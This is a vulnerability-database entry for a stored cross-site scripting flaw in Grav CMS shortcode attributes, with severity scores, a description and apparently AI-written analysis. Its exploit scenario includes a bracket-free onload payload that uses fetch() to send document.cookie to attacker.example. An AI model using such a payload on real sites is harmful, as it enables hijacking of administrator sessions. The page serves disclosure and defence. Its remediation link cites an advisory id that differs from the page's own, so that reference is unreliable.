EUVD-2026-46181
GHSA-r7ww-mw2x-mj59
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-reachable stored XSS; low privileges (admin.pages); passive viewer required; scope changes to victim browser; low C and I for session/nonce impact.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
1DescriptionCVE.org
Grav contains a stored cross-site scripting vulnerability in shortcode-core attribute handlers where the XSS detection scan only matches payloads containing literal angle brackets, allowing shortcode parameters to bypass validation. Attackers with admin.pages permission can inject malicious JavaScript through shortcode attributes that execute in any viewer's browser, including administrators, enabling session hijacking via admin nonce theft.
AnalysisAI
Stored XSS in Grav CMS shortcode-core attribute handlers allows authenticated users with admin.pages permission to inject persistent JavaScript payloads that bypass the CMS's XSS detection filter and execute in any visitor's browser. The filter flaw is root-cause critical: it only flags payloads containing literal angle brackets, leaving event-handler and attribute-based injection vectors entirely unblocked. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the attacker to hold the admin.pages permission within Grav CMS - this is a non-default permission granted explicitly to user accounts and is not available to unauthenticated visitors or standard subscriber-level users. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 5.1 (AV:N/AC:L/AT:N/PR:L/UI:P/SC:L/SI:L) correctly positions this as medium severity. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker who holds admin.pages permission - such as a lower-privileged content editor - crafts a shortcode attribute containing a bracket-free JavaScript payload (e.g., an event handler like `onload=fetch('https://attacker.example/steal?c='+document.cookie)`). When a site administrator browses the affected page, the payload silently executes in their browser, exfiltrating the admin session nonce to an attacker-controlled endpoint and enabling subsequent authenticated actions as the administrator. … |
| Remediation | Consult the vendor's GitHub Security Advisory at https://github.com/getgrav/grav/security/advisories/GHSA-q5fw-vpqc-fgph for the specific patched version - an exact fixed release version was not independently confirmed in the available intelligence, so the advisory is the authoritative source. … Detailed patch versions, workarounds, and compensating controls in full report. |
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Grav is a file-based Web platform. Prior to 1.8.0-beta.27, a Server-Side Template Injection (SSTI) vulnerability exists
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GravCMS 1.10.7 allows unauthenticated remote attackers to write arbitrary YAML configuration files, leading to full serv
Grav is a file-based Web platform. Prior to 1.8.0-beta.27, a user with admin panel access and permissions to create or e
Grav is a file-based Web platform. Prior to 1.8.0-beta.27, Grav CMS is vulnerable to a Server-Side Template Injection (S
Grav is an open-source, flat-file content management system. Rated high severity (CVSS 8.8), this vulnerability is remot
Grav is an open-source, flat-file content management system. Rated high severity (CVSS 8.8), this vulnerability is remot
Grav is an open-source, flat-file content management system. Rated high severity (CVSS 8.8), this vulnerability is remot
Grav is an open-source, flat-file content management system. Rated high severity (CVSS 8.8), this vulnerability is remot
Grav is an open-source, flat-file content management system. Rated high severity (CVSS 8.8), this vulnerability is remot
Same weakness CWE-79 – Cross-site Scripting (XSS)
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External POC / Exploit Code
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